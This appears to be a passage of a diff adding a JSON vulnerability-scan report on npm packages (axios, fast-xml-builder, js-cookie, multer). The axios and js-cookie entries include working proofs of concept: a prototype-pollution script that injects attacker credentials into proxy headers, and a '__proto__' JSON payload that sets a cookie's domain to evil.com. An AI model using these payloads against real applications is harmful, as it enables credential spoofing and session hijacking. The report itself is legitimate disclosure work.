+ "Description": "# [Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2\n\n## Summary\n\nThe `Object.create(null)` fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the **top-level config object** from prototype pollution. However, **nested objects** created by `utils.merge()` (e.g., `config.proxy`) are still constructed as plain `{}` with `Object.prototype` in their chain.\n\nThe `setProxy()` function at `lib/adapters/http.js:209-223` reads `proxy.username`, `proxy.password`, and `proxy.auth` **without `hasOwnProperty` checks**. When `Object.prototype.username` is polluted, `setProxy()` constructs a `Proxy-Authorization` header with attacker-controlled credentials and injects it into **every proxied HTTP request**.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** 1.15.2 (and potentially 1.15.1)\n**Vulnerable Component:** `lib/adapters/http.js` (`setProxy()`) + `lib/utils.js` (`merge()`)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-113:** Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')\n\n## CVSS 3.1\n\n**Score: 5.6 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | **High** | Requires **two** preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure `config.proxy`. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Within the proxy authentication context |\n| Confidentiality | **Low** | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike `config.baseURL` hijack) |\n| Integrity | **Low** | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity |\n| Availability | **Low** | If proxy rejects the injected credentials, legitimate requests may fail |\n\n### Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)\n\n| Factor | GHSA-q8qp-cvcw-x6jj | This Finding |\n|---|---|---|\n| Precondition | **None** — all requests affected | Must have `config.proxy` set |\n| `config.baseURL` PP | Hijacks **all** relative URL requests | Not applicable |\n| `config.auth` PP | Injects `Authorization` to **target server** | Only injects `Proxy-Authorization` to **proxy** |\n| Attacker sees traffic | Yes (via baseURL redirect) | **No** — only proxy identity affected |\n| Impact scope | Universal — every axios request | Only requests with explicit proxy config |\n\n## This Is a Patch Bypass\n\nThis vulnerability **bypasses the fix** introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses `Object.create(null)` for the config object, blocking direct prototype pollution on `config.proxy`, `config.auth`, etc.\n\nHowever, the fix is **incomplete**: when a user legitimately sets `config.proxy = { host: 'proxy.corp', port: 8080 }`, the `mergeConfig()` function passes this object through `utils.merge()`, which creates a **new plain `{}` object** (`lib/utils.js:406: const result = {};`). This new object inherits from `Object.prototype`, re-opening the prototype pollution attack surface on the **nested** proxy object.\n\n| Layer | Protection | Status |\n|---|---|---|\n| `config` (top-level) | `Object.create(null)` | ✓ Fixed |\n| `config.proxy` (nested) | `utils.merge()` → `const result = {}` | **✗ NOT Fixed** |\n| `setProxy()` reads | `proxy.username`, `proxy.auth` without `hasOwnProperty` | **✗ NOT Fixed** |\n\n## Root Cause Analysis\n\n### Step 1: `utils.merge()` creates plain `{}` for nested objects\n\n**File:** `lib/utils.js`, line 406\n\n```javascript\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const result = {}; // ← Plain object with Object.prototype!\n // ...\n}\n```\n\nWhen `mergeConfig()` processes `config.proxy`, `getMergedValue()` calls `utils.merge()`, which creates a plain `{}` for the nested object. This plain object inherits from `Object.prototype`.\n\n### Step 2: `setProxy()` reads proxy properties without `hasOwnProperty`\n\n**File:** `lib/adapters/http.js`, lines 209-223\n\n```javascript\nfunction setProxy(options, configProxy, location) {\n let proxy = configProxy;\n // ...\n if (proxy) {\n if (proxy.username) { // ← traverses Object.prototype!\n proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');\n }\n\n if (proxy.auth) { // ← traverses Object.prototype!\n const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);\n if (validProxyAuth) {\n proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');\n }\n // ...\n const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');\n options.headers['Proxy-Authorization'] = 'Basic ' + base64; // ← INJECTED!\n }\n // ...\n }\n}\n```\n\n### Complete Attack Chain\n\n```\nObject.prototype.username = 'attacker'\nObject.prototype.password = 'stolen-creds'\n │\n ▼\n User config: { proxy: { host: 'proxy.corp', port: 8080 } }\n │\n ▼\n mergeConfig() → utils.merge() → new plain {}\n config.proxy = { host: 'proxy.corp', port: 8080 } (own properties)\n config.proxy inherits from Object.prototype (has .username, .password)\n │\n ▼\n setProxy() at http.js:209:\n proxy.username → 'attacker' (from Object.prototype) → truthy!\n proxy.auth = 'attacker' + ':' + 'stolen-creds'\n │\n ▼\n http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n Injected into EVERY proxied HTTP request!\n```\n\n## Proof of Concept\n\n```javascript\nimport http from 'http';\nimport axios from './index.js';\n\n// Proxy server logs received Proxy-Authorization\nconst proxyServer = http.createServer((req, res) =\u003e {\n console.log('Proxy-Authorization:', req.headers['proxy-authorization']);\n res.writeHead(200);\n res.end('OK');\n});\nawait new Promise(r =\u003e proxyServer.listen(0, r));\nconst proxyPort = proxyServer.address().port;\n\n// Target server\nconst target = http.createServer((req, res) =\u003e { res.writeHead(200); res.end(); });\nawait new Promise(r =\u003e target.listen(0, r));\n\n// Simulate prototype pollution from vulnerable dependency\nObject.prototype.username = 'attacker';\nObject.prototype.password = 'stolen-creds';\n\n// Developer sets proxy WITHOUT auth — expects no auth header\nawait axios.get(`http://127.0.0.1:${target.address().port}/api`, {\n proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },\n});\n\n// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n// Decoded: attacker:stolen-creds\n\ndelete Object.prototype.username;\ndelete Object.prototype.password;\nproxyServer.close();\ntarget.close();\n```\n\n## Reproduction Environment\n\n```\nAxios version: 1.15.2 (latest patched release)\nNode.js version: v20.20.2\nOS: macOS Darwin 25.4.0\n```\n\n## Reproduction Steps\n\n```bash\n# 1. Install axios 1.15.2\nnpm pack axios@1.15.2\ntar xzf axios-1.15.2.tgz \u0026\u0026 mv package axios-1.15.2\ncd axios-1.15.2 \u0026\u0026 npm install\n\n# 2. Save PoC as poc.mjs (code from Section 7 above)\n\n# 3. Run\nnode poc.mjs\n```\n\n## Verified PoC Output\n\n```\n=== Axios 1.15.2: PP → Proxy-Authorization Injection ===\n\n[1] Normal request with proxy (no auth):\n Proxy-Authorization: none\n\n[2] Prototype Pollution: Object.prototype.username = \"attacker\"\n Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n Decoded: attacker:stolen-creds\n → PP injected proxy credentials: attacker:stolen-creds\n\n[3] Impact:\n ✗ Attacker injects Proxy-Authorization into all proxied requests\n ✗ If proxy logs auth, attacker credential appears in proxy logs\n ✗ If proxy authenticates based on this, attacker controls proxy identity\n ✗ Works on 1.15.2 despite null-prototype config fix\n ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype\n```\n\n### Confirming the Bypass Mechanism\n\n```\nDirect PP (config.proxy) — BLOCKED by 1.15.2:\n Object.prototype.proxy = { host: 'evil' }\n config.proxy = undefined ← null-prototype blocks ✓\n\nNested PP (proxy.username) — BYPASSES 1.15.2:\n Object.prototype.username = 'attacker'\n config.proxy = { host: 'legit', port: 8080 } ← user-set, own properties\n config.proxy own keys: ['host', 'port'] ← username NOT own\n config.proxy.username = 'attacker' ← inherited from Object.prototype!\n hasOwn(config.proxy, 'username') = false\n```\n```\n\n## Impact Analysis\n\n- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.\n- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record \"attacker\" instead of the real user, enabling audit trail manipulation.\n- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.\n- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.\n\n### Prerequisite\n\n- Application must use `config.proxy` (explicit proxy configuration)\n- A separate prototype pollution vulnerability must exist in the dependency tree\n- `Object.prototype.username` or `Object.prototype.auth` must be polluted\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` in `setProxy()`\n\n```javascript\nfunction setProxy(options, configProxy, location) {\n let proxy = configProxy;\n // ...\n if (proxy) {\n const hasOwn = (obj, key) =\u003e Object.prototype.hasOwnProperty.call(obj, key);\n\n if (hasOwn(proxy, 'username')) {\n proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');\n }\n\n if (hasOwn(proxy, 'auth')) {\n // ... existing auth handling ...\n }\n }\n}\n```\n\n### Fix 2: Use null-prototype objects in `utils.merge()`\n\n```javascript\n// lib/utils.js line 406\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const result = Object.create(null); // ← null-prototype for nested objects too\n // ...\n}\n```\n\n### Fix 3 (Comprehensive): Apply null-prototype to all objects created by `getMergedValue()`\n\n## References\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2)](https://github.com/advisories/GHSA-q8qp-cvcw-x6jj)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)",
+ "Severity": "LOW",
+ "VendorSeverity": {
+ "ghsa": 1
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
+ "V3Score": 3.7
+ }
+ },
+ "References": [
+ "https://github.com/axios/axios",
+ "https://github.com/axios/axios/security/advisories/GHSA-654m-c8p4-x5fp",
+ "https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj"
+ ]
+ },
+ {
+ "VulnerabilityID": "CVE-2026-44665",
+ "VendorIDs": [
+ "GHSA-5wm8-gmm8-39j9"
+ ],
+ "PkgID": "fast-xml-builder@1.1.5",
+ "PkgName": "fast-xml-builder",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/fast-xml-builder@1.1.5",
+ "UID": "bcd6b653d167fc58"
+ },
+ "InstalledVersion": "1.1.5",
+ "FixedVersion": "1.1.7",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44665",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:862a22fe97d8e2ac17e34d368e0b72e83f76a55c3a37e0c966031fc2e8faed54",
+ "Title": "fast-xml-builder: fast-xml-builder: Attribute injection leading to information disclosure or content manipulation",
+ "Description": "fast-xml-builder builds XML from JSON. Prior to 1.1.7, when an input data has quotes in attribute values but process entities is not enabled, it breaks the attribute value into multiple attributes. This gives the room for an attacker to insert unwanted attributes to the XML/HTML. This vulnerability is fixed in 1.1.7.",
+ "Severity": "HIGH",
+ "CweIDs": [
+ "CWE-91"
+ ],
+ "VendorSeverity": {
+ "ghsa": 3,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
+ "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
+ "V3Score": 6.1,
+ "V40Score": 8.7
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
+ "V3Score": 6.1
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-44665",
+ "https://github.com/NaturalIntelligence/fast-xml-builder",
+ "https://github.com/NaturalIntelligence/fast-xml-builder/security/advisories/GHSA-5wm8-gmm8-39j9",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-44665",
+ "https://www.cve.org/CVERecord?id=CVE-2026-44665"
+ ],
+ "PublishedDate": "2026-05-13T16:16:59.093Z",
+ "LastModifiedDate": "2026-05-18T16:16:31.7Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-44664",
+ "VendorIDs": [
+ "GHSA-45c6-75p6-83cc"
+ ],
+ "PkgID": "fast-xml-builder@1.1.5",
+ "PkgName": "fast-xml-builder",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/fast-xml-builder@1.1.5",
+ "UID": "bcd6b653d167fc58"
+ },
+ "InstalledVersion": "1.1.5",
+ "FixedVersion": "1.1.6",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44664",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:ab3fefec70197801d4a1a62dd5f3cb44d51201bfd0c04a160286722807d9309d",
+ "Title": "fast-xml-builder: fast-xml-builder: Arbitrary XML/HTML injection via insufficient sanitization of XML comments",
+ "Description": "fast-xml-builder builds XML from JSON. In 1.1.5, the fix for CVE-2026-41650 in fast-xml-parser sanitizes -- sequences in XML comment content using .replace(/--/g, '- -'). This skip the values containing three consecutive dashes (e.g., ---\u003e...), allowing an attacker to break out of an XML comment and inject arbitrary XML/HTML content. This vulnerability is fixed in 1.1.6.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-91"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
+ "V3Score": 6.1
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
+ "V3Score": 6.1
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-44664",
+ "https://github.com/NaturalIntelligence/fast-xml-builder",
+ "https://github.com/NaturalIntelligence/fast-xml-builder/security/advisories/GHSA-45c6-75p6-83cc",
+ "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-44664",
+ "https://www.cve.org/CVERecord?id=CVE-2026-44664"
+ ],
+ "PublishedDate": "2026-05-13T16:16:58.937Z",
+ "LastModifiedDate": "2026-05-13T16:58:09.717Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-46625",
+ "VendorIDs": [
+ "GHSA-qjx8-664m-686j"
+ ],
+ "PkgID": "js-cookie@3.0.5",
+ "PkgName": "js-cookie",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/js-cookie@3.0.5",
+ "UID": "5d41bd0ebbab8dd6"
+ },
+ "InstalledVersion": "3.0.5",
+ "FixedVersion": "3.0.7",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46625",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:e099fff0bec9b1d2148494caecb21d42e895c7307d2b35fd6c44b0cef26edfeb",
+ "Title": "JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection",
+ "Description": "## Summary\n\n`js-cookie`'s internal `assign()` helper copies properties with `for...in` + plain assignment. When the source object is produced by `JSON.parse`, the JSON object's `\"__proto__\"` member is an *own enumerable* property, so the `for…in` enumerates it and the `target[key] = source[key]` write triggers the **`Object.prototype.__proto__` setter** on the fresh `target` (`{}`). The result is a per-instance prototype hijack: `Object.prototype` itself is untouched, but the merged `attributes` object now inherits attacker-controlled keys.\n\nBecause the consuming `set()` function then enumerates the merged object with another `for...in`, every key the attacker placed on the polluted prototype lands in the resulting `Set-Cookie` string as an attribute pair. The attacker can set `domain=`, `secure=`, `samesite=`, `expires=`, and `path=` on cookies whose attributes the developer thought were locked down.\n\n## Impact\n\nAny application that forwards a JSON-derived object as the `attributes` argument to `Cookies.set`, `Cookies.remove`, `Cookies.withAttributes`, or `Cookies.withConverter` is vulnerable. This is the standard pattern when cookie configuration comes from a backend:\n\n```js\nconst cfg = await fetch('/config').then(r =\u003e r.json());\nCookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker\n```\n\nA payload of `{\"__proto__\":{\"domain\":\"evil.example\",\"secure\":\"false\",\"samesite\":\"None\"}}` causes js-cookie to emit:\n\n```\nSet-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None\n```\n\n## Affected code\n\n```js\n// src/assign.mjs — full file\nexport default function (target) {\n for (var i = 1; i \u003c arguments.length; i++) {\n var source = arguments[i]\n for (var key in source) { // includes own enumerable '__proto__'\n target[key] = source[key] // [[Set]] form - fires __proto__ setter\n }\n }\n return target\n}\n```\n## Proof of concept\n\nNode 22.11.0, no third-party deps:\n\n### Environment setup\n```bash\nmkdir -p /tmp/jscookie-poc \u0026\u0026 cd /tmp/jscookie-poc\nnpm init -y\nnpm i js-cookie\n```\n\n### PoC\n```js\nubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs\nlet lastSetCookie = '';\nglobalThis.document = {\n get cookie() { return ''; },\n set cookie(v) { lastSetCookie = v; }\n};\n\nconst { default: Cookies } = await import('js-cookie');\n\nconst attackerAttrs = JSON.parse(\n '{\"__proto__\":{\"secure\":\"false\",\"domain\":\"evil.com\",\"samesite\":\"None\",\"expires\":-1}}'\n);\n\nCookies.set('session', 'TOKEN', attackerAttrs);\n\nconsole.log('Set-Cookie that js-cookie wrote to document.cookie:');\nconsole.log(lastSetCookie);\n```\n\nExecution:\n\u003cimg width=\"2614\" height=\"1174\" alt=\"cls-2026-05-14-01 44 39\" src=\"https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62\" /\u003e\n\n## Suggested patch\n\n```diff\n--- a/src/assign.mjs\n+++ b/src/assign.mjs\n@@\n export default function (target) {\n for (var i = 1; i \u003c arguments.length; i++) {\n var source = arguments[i]\n- for (var key in source) {\n- target[key] = source[key]\n- }\n+ for (var key in source) {\n+ if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue\n+ Object.defineProperty(target, key, {\n+ value: source[key],\n+ writable: true,\n+ enumerable: true,\n+ configurable: true,\n+ })\n+ }\n }\n return target\n }\n```\n\nEquivalent one-liner alternative - iterate own names only and filter:\n\n```js\nfor (const key of Object.getOwnPropertyNames(source)) {\n if (key === '__proto__') continue\n target[key] = source[key]\n}\n```",
+ "Severity": "HIGH",
+ "VendorSeverity": {
+ "ghsa": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://github.com/js-cookie/js-cookie",
+ "https://github.com/js-cookie/js-cookie/security/advisories/GHSA-qjx8-664m-686j"
+ ]
+ },
+ {
+ "VulnerabilityID": "CVE-2025-47935",
+ "VendorIDs": [
+ "GHSA-44fp-w29j-9vj5"
+ ],
+ "PkgID": "multer@1.4.5-lts.2",
+ "PkgName": "multer",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/multer@1.4.5-lts.2",
+ "UID": "9de8074040ba33ce"
+ },
+ "InstalledVersion": "1.4.5-lts.2",
+ "FixedVersion": "2.0.0",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-47935",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:0d81a12ef79a65475ff2909292736458faa6dcb41dd0bc96fc4abf6b59141490",
+ "Title": "Multer vulnerable to Denial of Service via memory leaks from unclosed streams",
+ "Description": "Multer is a node.js middleware for handling `multipart/form-data`. Versions prior to 2.0.0 are vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal `busboy` stream is not closed, violating Node.js stream safety guidance. This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted. Users should upgrade to 2.0.0 to receive a patch. No known workarounds are available.",
+ "Severity": "HIGH",
+ "CweIDs": [
+ "CWE-401"
+ ],
+ "VendorSeverity": {
+ "ghsa": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://github.com/expressjs/multer",
+ "https://github.com/expressjs/multer/commit/2c8505f207d923dd8de13a9f93a4563e59933665",
+ "https://github.com/expressjs/multer/pull/1120",
+ "https://github.com/expressjs/multer/security/advisories/GHSA-44fp-w29j-9vj5",
+ "https://nvd.nist.gov/vuln/detail/CVE-2025-47935"
+ ],
+ "PublishedDate": "2025-05-19T20:15:25.863Z",
+ "LastModifiedDate": "2026-04-15T00:35:42.02Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2025-47944",
+ "VendorIDs": [
+ "GHSA-4pg4-qvpc-4q3h"
+ ],
+ "PkgID": "multer@1.4.5-lts.2",
+ "PkgName": "multer",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/multer@1.4.5-lts.2",
+ "UID": "9de8074040ba33ce"
+ },
+ "InstalledVersion": "1.4.5-lts.2",
+ "FixedVersion": "2.0.0",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-47944",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:711625bfeec534118e27dfefeb867e1c668103c0ae3ca091d0374abaa84fd8a4",
+ "Title": "Multer vulnerable to Denial of Service from maliciously crafted requests",
+ "Description": "Multer is a node.js middleware for handling `multipart/form-data`. A vulnerability that is present starting in version 1.4.4-lts.1 and prior to version 2.0.0 allows an attacker to trigger a Denial of Service (DoS) by sending a malformed multi-part upload request. This request causes an unhandled exception, leading to a crash of the process. Users should upgrade to version 2.0.0 to receive a patch. No known workarounds are available.",
+ "Severity": "HIGH",
+ "CweIDs": [
+ "CWE-248"
+ ],
+ "VendorSeverity": {
+ "ghsa": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://github.com/expressjs/multer",
+ "https://github.com/expressjs/multer/commit/2c8505f207d923dd8de13a9f93a4563e59933665",
+ "https://github.com/expressjs/multer/issues/1176",
+ "https://github.com/expressjs/multer/security/advisories/GHSA-4pg4-qvpc-4q3h",
+ "https://nvd.nist.gov/vuln/detail/CVE-2025-47944"
+ ],
+ "PublishedDate": "2025-05-19T20:15:26.007Z",
+ "LastModifiedDate": "2026-04-15T00:35:42.02Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2025-48997",
+ "VendorIDs": [
+ "GHSA-g5hg-p3ph-g8qg"
+ ],
+ "PkgID": "multer@1.4.5-lts.2",
+ "PkgName": "multer",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/multer@1.4.5-lts.2",
+ "UID": "9de8074040ba33ce"
+ },
+ "InstalledVersion": "1.4.5-lts.2",
+ "FixedVersion": "2.0.1",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-48997",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:95421d79dd30e3c9af6bb386055b7735b93c48cbe6550379e937a101a0a992bb",
+ "Title": "multer: Multer vulnerable to Denial of Service via unhandled exception",
+ "Description": "Multer is a node.js middleware for handling `multipart/form-data`. A vulnerability that is present starting in version 1.4.4-lts.1 and prior to version 2.0.1 allows an attacker to trigger a Denial of Service (DoS) by sending an upload file request with an empty string field name. This request causes an unhandled exception, leading to a crash of the process. Users should upgrade to `2.0.1` to receive a patch. No known workarounds are available.",
+ "Severity": "HIGH",
+ "CweIDs": [
+ "CWE-248"
+ ],
+ "VendorSeverity": {
+ "ghsa": 3,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
+ "V40Score": 8.7
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
+ "V3Score": 5.3
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2025-48997",
+ "https://github.com/expressjs/multer",
+ "https://github.com/expressjs/multer/commit/35a3272b611945155e046dd5cef11088587635e9",
+ "https://github.com/expressjs/multer/issues/1233",
+ "https://github.com/expressjs/multer/pull/1256",
+ "https://github.com/expressjs/multer/security/advisories/GHSA-g5hg-p3ph-g8qg",
+ "https://nvd.nist.gov/vuln/detail/CVE-2025-48997",
+ "https://www.cve.org/CVERecord?id=CVE-2025-48997"
+ ],
+ "PublishedDate": "2025-06-03T19:15:39.577Z",
+ "LastModifiedDate": "2026-04-15T00:35:42.02Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2025-7338",
+ "VendorIDs": [
+ "GHSA-fjgf-rc76-4x9p"
+ ],
+ "PkgID": "multer@1.4.5-lts.2",
+ "PkgName": "multer",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/multer@1.4.5-lts.2",
+ "UID": "9de8074040ba33ce"
+ },
+ "InstalledVersion": "1.4.5-lts.2",
+ "FixedVersion": "2.0.2",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-7338",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:b2387b8af5cb4509c4c2cb410f25cee6bb8549ac3680722071bf58310dec9488",
+ "Title": "multer: Multer Denial of Service",
+ "Description": "Multer is a node.js middleware for handling `multipart/form-data`. A vulnerability that is present starting in version 1.4.4-lts.1 and prior to version 2.0.2 allows an attacker to trigger a Denial of Service (DoS) by sending a malformed multi-part upload request. This request causes an unhandled exception, leading to a crash of the process. Users should upgrade to version 2.0.2 to receive a patch. No known workarounds are available.",
+ "Severity": "HIGH",
+ "CweIDs": [
+ "CWE-248"
+ ],
+ "VendorSeverity": {
+ "ghsa": 3,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
+ "V3Score": 5.3
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2025-7338",
+ "https://cna.openjsf.org/security-advisories.html",
+ "https://github.com/expressjs/multer",
+ "https://github.com/expressjs/multer/commit/adfeaf669f0e7fe953eab191a762164a452d143b",
+ "https://github.com/expressjs/multer/security/advisories/GHSA-fjgf-rc76-4x9p",
+ "https://nvd.nist.gov/vuln/detail/CVE-2025-7338",
+ "https://www.cve.org/CVERecord?id=CVE-2025-7338"
+ ],
+ "PublishedDate": "2025-07-17T16:15:35.227Z",
+ "LastModifiedDate": "2026-04-15T00:35:42.02Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-2359",
+ "VendorIDs": [
+ "GHSA-v52c-386h-88mc"
+ ],
+ "PkgID": "multer@1.4.5-lts.2",
+ "PkgName": "multer",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/multer@1.4.5-lts.2",
+ "UID": "9de8074040ba33ce"
+ },
+ "InstalledVersion": "1.4.5-lts.2",
+ "FixedVersion": "2.1.0",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-2359",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:5a3c827841892d60aab9efae04e4f94281be00956436e11b42a2ae49b44abd19",
